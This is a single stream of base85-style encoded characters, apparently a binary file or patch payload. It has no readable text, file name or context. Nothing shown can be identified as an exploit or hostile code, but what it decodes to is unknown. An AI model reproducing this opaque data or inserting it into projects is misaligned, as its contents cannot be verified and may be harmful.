zVdU9N>Un}hbioSySiRiOA$~G&3+c;{eG{#bXQfrGxxpizLWUz0gb!nNd2hR9i#R>E zt{r&0BY*&x$mv^z=rHeaIdtMGet6xqJsB&24=;%mEybHpyFYalK^jP`*})q7)p5X0 zSok9LZ3n084mrZ_LkKLT$sR;G_v9u&|N4!dnZN#ccm$-U06y*EIij0DWR4{0v)R$V zXjeVa_Dd+2@DqRo9zJk(_48Qq-!!XWi3z(t=Q|FB*z9=f1Q>@84J88}AsToD9(HP4 zLk7i%KAJO577w4TmP7`4q6>(x?$;fPZG8<<4q(at2ncT1j0Y(KSiHgg-5Gpn1gx+V>g_ei zuUbC)6QbRcCrg5|qB~xs0q{(0kc;AI_Jf66LSo~z9IS3K`KBGdj^--3i#BP)nb^QO z0f&(y=Jc2pA4<#7*&pRx`8|I<&!@ILZ$Rej3CIW!Vh?uT1{GvQ1Bc;5m=fCK0y zwaBrF%Q2}&w@#h+p{ViJ(?=Wua8fcKF)e{{&IRUQzQFA|n4WDCXU5@{fblJYt+ycx z&H@P48$!2G=<@^WQ)U19bd+MAw4*qV+zmWuObt?R0ucszJVYqT40GFWrPt5Yl*?xN zF2tajxTBO@xx#Q{MF8&e!RxYGUHO8+>q&eX@?#k<);FU3&NfAg-wMRN8!&KNhtKcv zCIf1C9fx4s#4?&Xe*^Q4qq05JB8$tA&uzK1dd+NKLWG+=v3 zQnvH;nvDqOFfO7153))J8>5p`?R$oGh(-?LO;QUNQyL#2jPxy@`yAkai~w)Bssm5D zwSO0=sWjxEA*P^#d$JTs+ElHJuyVMFQ!c-;1Ow~KT!1v<38oUv)L&q6+~UOn?FWEf znExh%0}@kHfnd9;VGeeAj5zUucnfD{VnW$LSCq3MZPV%r=0wc}9(?q~T$I?n68@%n zuABoX+TUr-zTNb_BOEJ5Jj3QS+ycCcFmI>>X}@yzbswqRudEcixc7jTi&_PpqkjcL zZ2qdwu2MO_c;2_NvY~~B{~u5emPD|*JSt#eVZky)fRgo-Q$1jOaXtR%dHuadM;qXt zP=)#X7yn}fhz>GWP}o)MuK~ySLpz4j)*lV}hOL!6f_9t2kPF{{Qr=BA&Mx9Bm(duT zwV*xTe1K1&0h&eou0@ij={#co{Ab}Ikfv4kUkV4=PwRU$%E_dB6JxUHZWo6HzFmIlIa67z|DP4+=1Ta%O-o}2=K z5X1|#xqQTq0`ck07vXN03!nx3q#sT;Go1hcsg-Jgho49&xdH9gH47MUb_vmP@NSdw zULs>iU-T1l`p@3~b1z}TSQ=`N#(bang67z!(rb*EJe#8-HD45yBNuKjrVI=`Qskl7 zGq@L7BAX5U!L)sCnX^Ut>63y`_;p}4$_tv?x7wOhm>BJNSQg zKFI-HFa;X2);@S1V#5*cc(Y=_eCx4cG%)ZU^DW#q`d5nx4V)M^LpAN(4fWs`Hd{-j= zq8uq@?)At440uu=1o%-bc{D_GPnsB$TBqY)-By&~!}0h+xWN30u}&1L&r^@?-66hU z{8u6b$gyGLi=FE-bStFqH*++?IIU$eEaEsU)(WgZv0GqWb##tZ0gUoUO&*d9> zn&Sp6A0iH*Uj2pNhSOzjzTT7|4o_dhnRm5dbCaDJK`|)p1;Js;R>cLc(IHb14=UmL zC*XaMNrF!sY7FXPr}jXE4>;?k->jdWToS;cdC|@6=);hxc3em!03HwU zqH^S^?}9Wl`2mN;0+jtqp**t;!{1^!%Lqxor>xV-oWYI!wDf^ry2QrvBM^R$AU{;3 zNv*QE><61+dGU*rGEBsON#D*J2=>1-B2~vS$XaT-#|eP38f!#bs}C^5u1aHov!x&U zDB?Uz&K`jt}< z;M*KTv2g4$isdULo3{1D4JExGJ(e~oMR!px9L(NUH8C-{5^2B0rDbTy8{e+2r#CH~ z#VAKWKyY6_CMqhbshKN<4~&nB1z4<=*|F+Z+h`Sp6&3(bfPkcNQdqmA9d&qrvIWp| zC#4TIeBqq|$U4L+izRgVdwDi{gG~FzP?lnQlvs9dZj@3(if8KA+V!#D{oB;B))xFDRIK z_A)XrEl!$Q+`+Y_1k9=U%<~~m4!k^4)V8l_cVj+D*a=+!=f1Sz0%m$k%?}pddphF- z{8BK#QzXeI`3udKMP`7>Z}XH5SYvR3G#ftZt$;AgnYILR^*{>dsltWP+R^4VFiCz{ zByyxuv9)}0utX6I6ys0`qC8D;I3p7P28%OXQTWiqd=IdSYG#?k7xWqdNN6K%W>b?8 z$L&t1NT9!~Rk2qSx)ds2d1UhV7l94`Kw8F#imIvw7%L%c-I>a;wf%xMHs*<8jZZlk zMb+25&}D%c!FpS3o^Xy*KFa>!tuvKB+T0Bb3n$yua57TnA#kHBK7>@P3+7`VLJ6%* z{0}zXYH-{Pae{~u5FC2HxTB{hHHjAa*oboVW!jGuwT%H&`b{X=Wce!H7uPy|h(Ppt zS4Q7>F>)PxKNz-BDPLTDjwp_K!J>%65QT5oB@lN`vheZoMQPub_^$7_JW?(6RL0ZO z(-{o$Z$X#4a7qpUJ?*a=HmUZKShv={nly?kbr`+`h6XxSsLSq{^IX2X*#XigeICKD zl&x8Rp_7s)Yab?$jMq9EaXY(R(gyx|tGS=q5eW&r@$c4KcnccnyY^PB8Ny3jT2%DQ z9FopSx;F9b#6(7NfE2_{*k46O#e93^*Lzi^L+^mhs(n9~oD06NTR(9+Ys^g7 z?K+-5X$*V#EQG9HRBL8X`G5i-|L~jI-LG+#T43QjkYUR0nQB*3vUZtkYSdO>xS`N@ zVExmWdFdc3wor+%vXb}j-&ij*>yYHXa)0NnOb=6fR4!db`++J*Hsl50^NwUWmq^iz72{5O zJ1^jwq&`AMTp6^hizEGNh10<#ClDUR>ZvHJpkcER@7kn3;{JSNUI&{p#w(Uh3xg$` zTv-;g*&wQc*+Zf0iTR2p9=Zi4!$X&n4)^!R#j`vbyQbQtU%=zZ+CUN|YsOZ~rHjeu zBbjJQIWZErlRm4cL^-5pR0pU(c#y_tT4Mx;F7b82UMGA{lZPGX85u3?m+-YRMvRmx zP8SqxrJzGuODc^$&UGPI&mz=lo32QeaBFci`YVi#lssIQa!JrxaVH8pR+d=gRD3%X z#VG60cl+q@fRozV+f8zLsy!j$jp&!2N)JayF}t_xJrtWW%@+P)DuHoau>kZ5ERv_3BBBf)k>jE#ZBCVc znhwywRDj4+#nvx2X51AvgkhHJz`|a5%dz_UfswXa1_qZ3YIbwZNk10!dNb9?$;tVi zQTB~edhenbvh5VK`>t6rON=@;8}BA<26YnEagNqbT*TKlG0;#t${?&33Oi3IF$&$k z-d6XD(7Qu+&#t+(=lz}EP$z8Y+1p%nd2(YYYfy#>(*^5zMnacvTI<(=VYEtQ2X}%* z9_($++wsR+658}kgYl^b(v471zo!f;q8OJ(CV{yPm8Z;XDvF@eFjP(m?u*ufLdRj; zjAwc*+^B=Wmaz=LQ7%=hmM9*6D9{8hfPHTdeg>CyGyzL9kY=;J_EgTRAO*}H>uW}L zX*q(cYI7zgCPa|3Hr*GjDspmE+?Pj&(a2L!VP&&tJd>NAbRbfR=cevAokUR)f51j6 zrd0jU52HCGeYTyt{D&}BDYCwajl285>VuLRSq=&+Du$XdT|1%!X_yHvWywExhi9^GuL9?v)y) zr){4{FMH1{ji-U={Q9Jz3>yQWWGs!>sKoO1IT^1zpP(o(v}`zWczr6tu>v*UjdYvu zlW3jw4FJPT&rSQmK_Do0o@}|C7xtW5$qj+H-x{mt9#*y}CN#86NLqD5mS|oMH##K? z!W6jRK?@7ZLDcOGtp7Ddo|JFECgra7sVYIt*wNRwx+H1H;D}^3-{I*bwGt-+^-Z)J z1@*03EH!(#lCzZ~h^q?EJA*-^&qo95Hq5 zD-s~c8(3I8(ewtJMh$+pjkQC6DN^{#M6se4FQN=?44RJ$?nwh^=CVLFM$1Kz=VRD8 zsgyU6_+A&o^dDu8LEj@B2|U)Lbh)1*URb+iCczn+7*-Jg1xKnzSJ{uc$Ku)O(1? zw)=XDZs>mdKF($$Q1Oa~e>)|+6u7mB;@U-0Y=0S)-YqHYLO?egu_hT@9ukD zoE0o&JRWU;&M|_kX^ERb;Vepe2qE|D`LBNN1lD$uwy6JqzRwMzF|WQ#4k5mvQYXx7 zVy;p?>GiVo`K_aUvv<#KOsC?^&tRQG_`*JtQw>JM4LV~vO4V(p2|n}t**ue_BOZ!u zqjtDmIIQy;pghPZFH$R2!NCLW+JIA)YM1fGjNt741m-0PX#T8{`)y%xae}4bpDJ&% zq7v-;B;+)>52bcpT^{g-9$$V`5SpNsdt?{QtNPcMS!9R3$|ZalV?gHH34EO^flQpS<9iK<@w3| zwAf-N_BkDi7==_i$Z}!Agfo`qNCt4MZH4t~ z_bNxkk6!62B@<8V?#|+(x_~|Lf}N;%|3jGA6%M;liawo9vn-&Wr|&Lbn0m_Ai~)yw zV?XfXn9P~sqKvm>_|T!#+iK}1KN85<94i4Wj^dO*i2)*Z#d3kMvv;WxeFQ&L@5OZ;1JbAuEoQRrQ30!oS@~p79+m3#_K{V=#ngW1RFQ`Fof{M!4T~NcEJ3}NDhQkgo$b)^L4IjKdMTWlrM8@}4 zXCumiieBk6XlN?H)x8ajVigz#ovC_X%=7-xDLj6x-`t z_wTyz1VbnC%@8M0C-%b3tVI3%QLr2$JQkS%;pOApm5;Ns8h@WH`eM$y3Y(xwDeo zi6!CdIGbfwO|TcamL_v)!JJC2LgtZ z51Xg``0-TFm!-AnE4C%+7#E;FW9~YPZRzl_sv18R={&u)CJ%>|6sII zx_$fh`noh6)`ew&1cDBLMXSJT=$h0qQ~GkpS2(eXxk%a|GnV!>8C=_{BQh{v8WBN@ zy*?t5kEMOT%f{XzpfRc7{rhj8ca4nr%FD}z9ne>?Lw=J&*gRM%7-%q$M7QI}5d@%1 zk?k*H2xu=;q%Y2nTM$382!1oIbeSQmJlD;e!r43gSU_e1D2+w))ftzb%v&xHx!t=7 z;$vx(qiA=Kmo$N?%QsG4ANs@6veIE5o!u57fh>Pwo;<&fL}A$?tygMSPI5pp9MokA zVKct&U=RR3qonJH5-z3%{bKVMKl}SzK}U!=xVlou*n&QqwCQ9n37$$s@H^($1C;wK z?|HkSPt7EoGc`JTdadh7xn=XcXZ822JVdD{+E;9>t;1*d*xF}2r@$TNW?`4pQFm+o zs!OU4v$ob=TtDC51GYFBVoKiMoQmxVEnb@pF89Y>*1|*Fp$Rq&3|s2_SWt86jFA)K z*){e!S>Fmk(0*>J0arhj^z_&I`-9|0ug$C-TuD8RK2j|4boF#h0DOE;#@7^Z9qtV@ zUWA8iCe2JJwzs-!G=D4awdcZ|9XUc`M}2*G#=W>M2W0IfUVW7M#kxxqMJ^uRd@oKVp(5 zm}jM2DJi7*AOo@tifS!w2Paf`iPPiZ*E&oJ?t&q%KjUM}THEcbp}Hm}$)LjZ>C2Hi z-v#3^ZzL=KWS?%JM(*USLMjJ@OC{1r7-VC5dEwFwooL)Wqu`_%7j>-nHWY%-W!+Qe zXxg>6K7%w9oLR8<^Q$30D+u3Q8b;k;c1s3y;8kR~I@UXZDdsn>Jbs@*=mpZ#q|3v7 z*;&bRQ7%0@Vdo@%?{nbM^ZyvnC!XPT*VN8~es?H(4EUi^*xmmRKLq+tv4kyGichii ztQbW@!$WXeXwBZLHQo%SM?F^K!{pT7#yl6O8RYXBS9~f5J5~bHZERryT*K=wrg`Vi zg1C#D02GS7clJu_lq3gN;Lpm8}m27jFEUVrC zFgl=yRo@Kj<~vV8X(MsfzQUJC? zali87A|hAgBoxC~?bi<_nFeNivcgIRfI68ESGX-*N-r+f%DkNfF5%j6hDZWt*v{|v zDP>8P;VgMp3fA(;k$9^qd`J>?VO!NJ4$+8Z{hKbnpor6M?CVN-LNvA6aDk&&xXf=m!XoEvAj^?eeoTJ z$0FfewkNfV0J}T`T!Oly$DJz(^i+(wOP1(fqy5Il#*#wzxvM&%6p0r_IUl6IGYh!> z#FLh|U)5oe-KHr!;zy+7J6la!p+u!cT+qrFD;iL>edCzZAJt6o_b;@)4 zJ}zD#IHsS}!G?8;r>@oqQF$DeS7vhd11saT?aO^snGWhUAc@6J<##DaekD*dKteu= zB^}p)FgrFSq>b`V)~h=%*)D%&7uq6-_j_Hwg}lI6`m1Qua@rF*ajjCb;|e$%&5ie`S^9R&qXgL{05h;$t>?&M{{o9| zKH!9J$6lTmquAW%agD!29yjjpHfLqO{6*9&y$TM`C|6f3zg>D)tMl(7pY%7>#=VN0gc~(Cl*R%i1+W$cabqkq3lpGcaKO( zx!H#GRj2-gb|o)$_97kZ^GxYXy5G4;y?*!p{WVMq3R5G^)C8_`%YSyQQ7Hy_F={`{)C>bm7ra@}?7INOfVgzWMJuNcn2WJ?G|$@yW3vgH(=r zTU*a$RVoC+{d$d=uzRu~=TPRLee9?1ZzSMASPjcZ5ybiSljyGSP{^b9l_EY>OJp*? zgG}XVUR@<^?MUQ}l>TCX)t$%gWb-mH3{QGXA6306UiqeZUyQ@?TyAu&9p6?v-SE5l zo(%>zqcg+pK8x`@bw7CuxO1R60RPmvcyM#wwo3WzfiIS^2X}yFtHlXt5d11a^cbjlbFo%9 zKjEvej`|s7Ncgg9-7^biSO6Stk9w-eoQbr-$Rb^46{_b}^!p6dd(<5|>fH~X9VnC1 zYinPkrxz_xu-H!k#ndU5cwfAoI8ZhI`7{4IZy+VhUx0?3P1ZYq`0wk%Jge@2*4up>pwU^H z)W}5r(t+tvpPD;_l<|gKEADd|&~62o1Lv@v%QfGfwMpkbeJkbLw?kdn*cO4>CnUOd zD`U$&DN3U?zQClrXC1k(CNoYX%;tr*vJJw11@mWx@HyDWyggXV6Q8=~ni*YZ=0cUy zH{{Jh;jEjkX+k;?9OJWIN~Fe9#-fYuPEJmW@&>T#PUP$0t;59jlG?xmwd>;MpX6rM-l2_mfm_ zjWwdgl$89=+t)5twc;k>1K^iP8$`#_r0!x_@2Zt2BBCs{{wlz^myCL;V~aJqSYHYX z3Aa-$x4-aHZ;l#%_sy4*qx(Fv6!OAioLBJbP35x9Qfe_y;_0BZ8~)uV@Eab8FGN1{ z6Dz;!i|q!5NrLKcJ6QqxzxZMAB`brJ{?zc&84y?&*|P*jjyNAyud;H@&sV?=Ifo4l z=kZYym!#MQj{3xuPso2r=z>u)K2;pjz>nxz0^Q~=7Ss@t&5qGD)pZ)_<4a*MMKtaB9Vea)D7 zdnSJ}!QV9GXESH_M3hI5_X(wBY9&Pkt3-Vsqim`DtJ7{rQ7_)rYcb_U9Q=AO#$r06 z&(n7%wp1c)&)lzvStS_FoMA&U>!G1x;yP#Ceu=ah~=A zjqrXD8QPUD?>%s*3SCWg6LXc0`L1ZqVZJ;0&~DjZA8=mdp-Rd3G=f`rYuZ{|XPz;e z1NPjc)N4YIgSGM-D8r;iLO{#N>;!EaV15VB7uqvtAWA0hf@7Q)v|zi}8m~J9x&2Rv zdbpNH-m-S7*6yMo`(?!&{b}=Q7NtOme>Rl7F6LM(af;&)TUJx|Qj?;G}}CO=|M$eT(TG z?k$r3N1z;|>x5H%Wo7%{bA^xSl?DUCmL8-O>m~U|pUP?hemXtVJVb<^JX}do9rDYo zIZx)o^V6vGt*@W8e4LEW>EG3Aa~aiy z$gJM6F#d1w$RkO2t!rfYMCd|1^Mz?YgyHPZ@8l^Iv=KMH`siC^d@q1wF0cQC2kE{O zz?UK-<3!H<$6}P|z?t@}X2kuseu$cjm0Y8v!E{1E3;qaOis4eyjr2jtXNp_{Ehw{!Po=jKoC6dubas7zOZDfKe<{mM zOaP%Ly4Yd&D)rc&QW;$Tzw1oZ!S*h9uUyX|i*heaOo*{Jv|H*aF?o_*qZ;y$-_mUa zldMatq-9xPujgu~x?KMs7^P(dSi+ZVu)zL`I%?H*cLT?uTRWwdw^FBhc=aTc$$swc zJ|_I1_zR;f&lMPUEXM!+pYS3;Lkn+qS{{Z*#|NlC`0$Yl;|ce6hCqLC*{h+HAd*= zY6kVzT3Qi={c#Pjaj5Y5v6A=q)qk*@b^q`H5*vSx&0vl!k@}MIfxPgwKR*X#2Goeq z3+=u2rH5pI{^RvOQlxHjMuZS=o9_sjZ~e8N3id*9^^gN!`};p%NC5%8Ny8(z#5>0c z{VJ-j>0-a-@6}Oj!&p;>@8@5okW~15MqTCUy;9kR_FwZiSZk{`7_qA0Wn_jr9fsLH zd-gvM{ds)$yi@%WMy}s&bVV+mOne->CgGc~a3Sw+q5u5&|NFK-59(h6)VL~@bS2I* zJNU^sj_{(bm1b`_o3yxfVGH$c<&9mIls`{jl6_kSvstS7m*Sd|dACkPYQi6Tawj1Sc0W;3@mzK3*ecaZ<&1RbIJRXlRDo$==~TLL0IB`yT}73VgIFhg032d=4qz zU%xUjD1K>z*MFq%DaWegZWRgV+Nwmx?Th09CK9woHo832M>=7{CWe7~%dM@5xo@kmc4HK}Fig`;>(s!A}XS`cz zP2QzSvM2eji&D)BrmusKw#+k&{Bo4~+jT>(n9YbT-}UrNq4TKL`NaNS4&F`G8}{1h z($it5lPnHz`Z;%)G1~l){Bl*%WJsUK|E|Z~WE1}Z3Gp*w_O9kE$`so^7?#+kX=J6A z>~7j~7Dhw#wC89D{#rel{_AhiQ6bKj6S-K{@uuhI87VIN@fvwua8Q$lwsWlc_p6)D zR<~Ks8&dU4AYM$DvAT_Xv7+F09zidc+vWOr%(CvxnU<>hYNspA-Vv$>7giuU;bY2dzbi_N*^O0?kxCilAxjyK zyXhUxqOd4s_C+n;FO-~3v^UY|Q$}gUHIv6v_p+tEG=3xts%Ik0?_87c)Y3ELNf76Y zB1qutd-$(tL# z)_riUFU#KNzp~WtPPC}Y3U-lP@Dg`hTRHDppgi-XwQ94b+Pn;X?{E`?dES0N<}z`( z6%tL=c9y$Vbo%#Ub;h;OzQDZq!akOe=5Vg<*>#2 zF+#H+i&AWXsa=_Yq$t}Oi~Or zebcKgr5AN3Dogg!`^a{eNu*fI6~}WnLQ#sQGGl7B-YWi{+o$LzjMm@%>JIAPnCX>{ zf8p9HrP$Pdv1Ixb7lo6o>qF0`WIMeikgLQBy z0QZ|Zk~3fEp;q+25XZAD|7cu7aDim|V)92oMPjcRa(r)&jpJht#pHayThnC^^(Hv` zvygL>x8n(7LH~kZl$J*=8q(R^sB_B-?l)~kUk)PD)j~lb_A>p<*S3iw0tb!&OnXjh z+m^JIERNd3Dc^lq%+dMtlBiUX`Q|6hAl>U(ZLh85K-q^9v)abN#b4*+hmpB<;S-Lf zD5sPw>B(zuROp|DX|WcPLuNzpy3$K43hX@xMtI#P#rAfGYA!0e?34&S?VTfRG91=h z8&EhOW(B|-Yml7xWkYTTRVL4Zp&-LyW^bv!mD2+=*BFe8L4_$7sQ*Ec9lJ~A_ySmy zAhr}!W&c5&^wGMvE%Q>^CVBu1%q9W8j=icM+g(QN9!)*T9wT|=d?bwBFVM@k&v&~% zI#R3D;03)(sQ}ooxQHF~H#V9cPH{QFJQ}os;fefS&xdR;r}S@r#Od1j=dfQBk5UbJ z*XqodrSg67dd<5t&ExGJnQqJGyMJxGiWAJ15iPMC$j)1yM@ns$DnissAC>TvexTfr z=l)GJ{-ZCSdL`y;50>`)9(Gbj=4eT-Rt-NG2kxFyVmOI93jfK>UJPEPds1+HtC zw%~50735!u2RcsBMv+-U$9(&3TY0HanDtSmzEXbf2;Etx=~$|XLbH=ju133YQuV}% z#1CN3I-spU#o&1C`Lq5x_{*LHo)2UhP z8d*KJSQy|OnP|9R2Mh(+F)7XOV{EnG`WH+9drWdpuv)3NLDnq_=;t2k4$U{bP9v|I zSy%-Cqxr5=kERhJ=RYn(w{D8|*aCBJJtfY8-9pxUN=qlIMzi(u$M1$Q3~!s#M+MqC z-8Y-n3YYCUxXSPQAG5)nD1%*bfT zN={M}{Rf@w$7?+16CMS=#-~_0{e;=A^zj%^n%*&#PdPoxL{i))8P=gsv4?b-T$W$m zr1yx=;V*6>s;KH*O8J-vCjzY%jpCjT?p$`!kCo(<*C<-GYCHrFJ${*O8>a7<)_g`v z`Id*V>?4l}pcLd=zPpbrb*QsZULl)$o%@DTv&5 zy*G8OfG*^bUq=oZsUv5nsaHT0Az!Opf@*~-Hp{sY*CHP3M_7#6CBRE87qW~M%vnc3 zyS^N{$^6FgHmmA13y_@sN)NB$HBOz47xby0B+otLE;zD%GZ`Bk$GQuis|x@4@1W(Q zNyk0iHWc{2qWMdTS;OB}uvP!%E{0K|{Npw#$@C$|`eo2z+ffCb*#A@9>tcZV2U>eD zag4n^2{*1ITe|l#Y)4zkeiXpJ@8{ebkrj5b|ENM*prVLE-Vp00on+k@|6DXn!<)3j z_w-eRB@z^UR(%eM?)zArZ0&zrjQHx7w)fp?uyPy$>jL!I%)H+%XE8Se(t9VO9cq$; zjv#&NGfO_Li*!cj6OyQ3jdrzN)J79OGmO}5VBC4d4uQE}VKn~Oyd9;)xb`oy$B-Pa z+xfra6hGY??sylN$pY4um<)PMqjhih-Si3;=yA5$s{-!oz2&;Un7>E&f$yl5KiM#( zUl-u%s;+*vsJ0pF!U<=I{_4KV(G}q9^~E2~z{iB|%a@dt z<__A|Eln|zvD>n7(|a4vBV~HVt1$9#;z)erAz+mZh2dNiKKumB_0dI5G2q)0a||)- z)4y%;d zH<1yx_IWR)9u;>Xc0)dEUcP@)Z9r%`g_gHpKz!zeD+)llhw|>s><+NXsPg#8J9O%q z{yW&yXPUD0ym&)W*wN)05HNc|RAuev^smMxU$b7Yr_KKo^j=IGu$*BS*U{~fy{cHv zXJ?t#UD|qna;Av5sR`nH>BZVV$ogDgIsyu7jG%RGZdd>deE43T|CG6y z2`7|EKkczIrt*8-+P3Y!KTU)Mc!u4p;>UT4vn7lF*))%(C0HDJ=CDH8Lv>@5ceYcSEfPBC&V*@9$yDoN086fkS3gI_BpZ z$Kn2S?GH5@N%alieP7So2D01puYg$}B3rih7f(+sI;n087)-Cfg=<>p=tnpjjy@(v zcr-j+@2yqzTKtvgE2i$t8>_hlewRLddfPs1WN@^6xP^7PFUZX?KWe8nuwNEnyz+iI zScUyYH+7_hSghi;fNh0VXUE=xuAVDZB57hrXGrq-k6cqq3vN@~0jixEh5k2jI@$R2 z<#s+AtO5@av_g*&-9JwX{KR0(WcsYaukY_Red6TIzKhF!hd#vYe7$h6J6f}3> zw4Pc3CjwsGC1N6u&itp4Hmo2_RzCe@?@$e*_Ca(qQxX;!lNJu3*!Tb*oyb2Gs|L>7a=x z9<#hJcx%!iYgX6xL;3Tn@hO`!hw1-%f{R?X)(RlE^-HOeLsi;+S2!);?e7j~s`og4 zJyKhB7q1lV&G-fb(wKAL0w+a&zUS5wEt|cM444|6^Om|MdWifr}j8i=%r%h*9$+09y zZRzjVC^^)hK~7?m$90_CQ;7vSsVyy@VY#_R(^-QE!ly5oet@OiOtqtCSO0+4zQ1=1 zZx%N3ssNVL-+KEGM1YFQ6l~Z{=pT7ixbOZNaNJ-CZzwDSVPgWt=HkEhK?tTiy|PR>j-4$JybUi5p*;JIlS z^4(dcr~9y)&vEdzmUXEe(aX@M%y**{vX^PG6c&pMDA;(Lf~V|Szx^zzMklh2jnLmJ z{*BRM)hlB&aCSao_iAKdSK{XQ*Bd(4eDXvZ{!8SuR01ArBOiE(je)sA}cK3 z^}jh2c?li6J+*zid86Wu@}2hOSwu;Bl~4}ie;v^X(6~o5)wv9qw9%YUYbW+CJl--9 z4D_GUHAAgf{JYGwB6N|af5tsk{~q3!sSU{TAg)Tgn^G(D?o;py5Yom^OnqN` zG;_)2MRq>{{17NB%@BCS6U{P5^~&;3T{4Vco?FIX*R#8MCRksx>zME}-@fUI@h;9u z#h6d}Yn^v!`p}QrMKkhnIeE;d*W-V+Fq0IQK4anSW?MP)n>W|reQu`g6;DGbx9Jho zJ7&sC-O<<>=|2;`)My$*gag_v&>(Sd`5p*^`9NpM=tp?YE?LQXZ<-5(a?hUnrYNL% zZXxQS9dPESQ@El0tDpJR>&Z!~hDPBF=G^0A+-S;jwZDA_{SruA`mh^UIU6!)_Y+7c zZ@O-pBAUB>bE&*J0T!CmoB?CL%t|p=YWvM%$&m6CvlK{F%G5wShDdV zebED%P*r>V>?Wl6MmFomSC<2IblJ5$_}<${D6&*|-Fv8dXd$bfy37I8Hh8zMoFhKk z99AUT-sml4U;46DcqiYx+RpKK_WNzJxOHYL;-G>?dJGgZ+`7Fs*-l(8PHv*`AswJY zGI1{QVZGlUfKy2}C_KmJ9EchQ9(PkAY1)#sul$Nqq5lGK9{8iGf6WA)0HBeXEPItV z!lro2n={SxEEmw_y%RM682Vh)vrT`K{Np?tez_6}cpRI@p7DqYcy#|1|Ys!!DWN4<{9~tS)hE+>`hIz{l;^Gsq?FIHz*%Y}|lZ{Rq zK9Z&&94;MI;zs-m$zpnqJ&Gqg=eB~Tg#GU>KP25SJE^nz^j{^#J}4TJ0=Pd2e-gzh zK7kcE+&T*z0t*d%>>Y>?t{LA_UftZ5CgOajJ?o562mT5u9hvn61B+Ho1kB#tFg$*< zA`HWNTF}-ST&|btURA6_y=+MQVOt(Qi_-s47r?BJBgTj`^cH*pv#wYY6X$^F=p_-(- z1oKp@Q)b7;whkOh`;h}juX_FYyLGr=NzKqjJiM+hIA{JKzV!~hKKQB7z7aLgh#6+R zSLFfT2_DM8b`&f%i(=9_gf^IyoQMIx8?h#rDwXwHoi}LvH+01Lm{XJGs8JDC!FF7% zmm=w^9z=HQp4iA_JyOiF#mxwt`0pQwt%=?5hs+Tvf~{=EF-zwLh2)$gp6!<%FYBq6 zqVau_>rHkTE}=A4aDF2H0yjikXKyg~(tflU{Nz{naH5Jm{4VO*tV*C#h^0tg5m-VvH^wEq#@;REHK;cjq;VvH+54j|w(5WcVjJz~9w~#GhLaWt zwv{D-SyUY7sDw+cn;wM-^8Z)LNN<(slgKegnZe3@%sM*h)Oz3QaByedw?=w7=C|K; zA9ZXd4zFg)A33Ki*|Ud}}<4pOjYc922ecT{q#BlNeQ|)S#^FZ;!a$r2dG#GQSy8 z`YHbcN9V3Q0H4hS(r<`-g?>+zuw!y&3>W*fj^UF19dcjZ+6~?#C3rV^gXP99NqTN!xGJX_TGC2u6KKfT?WRLC@>v+v`-# z!zAj^YrjDM9@wbbi9;c@)jn=rTGFHngtlkTWgz|#oMYSU`9U7#;c`%w% z`^mG-!e_+MZ(#hK1(k(fC^T#E6;mHYMxexNKp7L=!~QhZBfsM`zb&P{G1JZ*sq-EO z;P2P1K({Er&gZ8P^Rt!Q^wcUYmWOk0HrQOppwrGFrlW|CnL00D`z~7)mkXXC`SS-Z zR=-Eysm`}?!v(ihf*y$q4e^u)l{?G`^l(dCnrNIG$-Yti%? z#>|pTC*$DO^Y3GxaK})E8!u65X2^GV#TRo_f;rv2HViZo7Z2Q@ z>$VD;7F!d9q^XvPmJ`y}E1&qJD6+esT!Awy*0Jd#RoqzqSr&_(;+^JUt56Y9*>_16 z@R5~)jxN+C3U*2yxltSA(W6spyPYRE4~?}**hyiD9t!>QkSCLS=PpDxuy7pY&|NE& zTk(x|h+xqq%~(h=WkYJrx!?e9cV9e87NRw3aGU}s`ej#R;=O!0O&%@^JaFnKI3sh` zEC%{_i06wM9UU{2NxT~}Cu+01UPi1co3CHDI8jnW?jWs%RctYY%)+dSi7Bzg8DV`5 z6+UNHn!k^6leX*i^6uN-bO)9d3ubPN#I7^w1*<1mv#%g{Jif~FWgnG-P^Rr_%QF#P{j0V`Pc zUDCl-&~hNQc-gitl#OSpc@V7BRIShRJ@|%}1VqjN0A+Q1UfrWBcXD>bj<^uhuu@ZX zxGy2jpH@F-f1yRFr#8&2QSfhj?*(o2%9t4SnjbQK|2PdKf=E~itj1W-n-q*BF0K_C z7t}uawldeK1fcGiJP#_*%{`f7B$)BfH!6!lh+$qDpB-2xAFD{U%!EcF5vUhF%xlBI zn%;>cI4|mVBTl$&RwBq+5(!j@t-%hF^k~D$&<_j;V(6SCem}TTm%geu2ipnbN~oAC zQXman_iZVh?~8o1xHfmn)Z0u&DEw-w^Mz2~RbQdFw$ znqEs{Xwbb4|JZytRPAHlOi_#pd*5Jt@07bTQIkWFhi&s`g~m%;$1jx7Y}RJJmyYN7 zz5pG4UUD{{VynQwm^!7!MO4XAB})1Q^KOaOd$ox>eM#PkO=NGo?=Cya4{<7G_gnl3^t&f(9@bDiwMh5!6QEbN;mV))cucMcP^e^d z!@0?mdC%x>5~oksc>?p?6OxrKZe2?GZ$UDYe$os7M*$JKdR2yJp$8Xn6ajV{+nWt- zp4f!*fX8c;bGMS&jFoX^?41NI?~mcTU7v~tFA;uUOr!F9c%Rq2d!EaD{K>5m16xOU z!pFHR?c!ljfAj-d+U#k4{u9~+ca!l9=WOZlWV3x%YdCqH;ala2pd#AGKH5yarqOHTtcKaT)DU-sq?E z)TU8ZU++1YFg2hR;zmNOd&@A`V@K6noa+cq%w{fp1EJ0%_>#|>&-Efm>nAy-u_gYp zb~c8Kkyv@aHm?4AN-as@c)xG({Rq7GO++N9;@IFoE5fT1EaBS%@^$yzkq|Qx<6zN} zKO7!JC+W5XL#1Z!0U|z!gXz^v-Ck(XI8kz9uR3}KcJYiqN_0yW0X|{%U2y3@6rCK@ zAzy6kttX?^RgPnZMQ|Xm-VrlU0WaJUuT$NzV+vYR54_ruP9yu@+e(B5&a&-baV%tF z1Wa9tjt&fC^m@tI+h-}p$I+>H6c+B<@;>%5HW&8X zZeOi9@UQy41P(b%aj>Cm^qpg0-q5|jaRWFnC_hr#SMt`QY) zH6fIN=7d;7TN@`FsjR(lXQg67Em{+DUQd3T13D0&K?|OBk{ITDoFDImcW~I#w(dQl z&t?8r3)5!A#E;%lYD*Bpd`y%hX4{ull`3GslN ztk2yIOc@XLku9z#w}pc78YM2o0lp7!9QKe@=-s|M!{;Hk#3%9?e#L2q`168#%!_A8 zf6pf?;4+pA$czyEL(!+jf73}t@I!9*Vdwm%TkDNg`=H~{2YM%fIx-)-S6fBK>^x0~ 